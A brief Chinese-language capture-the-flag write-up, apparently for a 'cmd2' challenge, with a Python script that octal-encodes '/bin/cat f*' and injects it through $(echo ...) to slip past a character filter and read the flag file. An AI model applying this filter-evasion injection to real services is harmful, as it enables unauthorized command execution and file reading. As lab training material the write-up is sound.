这题过滤的条件更加严格了,增加了对/的过滤,也就是说输入目录都会被过滤掉,这样通过字符拼接绕过过滤就很难了
google了一下其他方法,发现可以把命令通过八进制编码,然后通过echo 命令输出
解题脚本:(放在/tmp下执行)
#!/usr/bin/python
import subprocess
cmd = "/bin/cat f*"
encode = ""
for c in cmd:
encode += "\\"+oct(ord(c))
# print encode
args = ["/home/cmd2/cmd2","$(echo \'" + encode + "\')"]
# print args[1]
subprocess.Popen(args)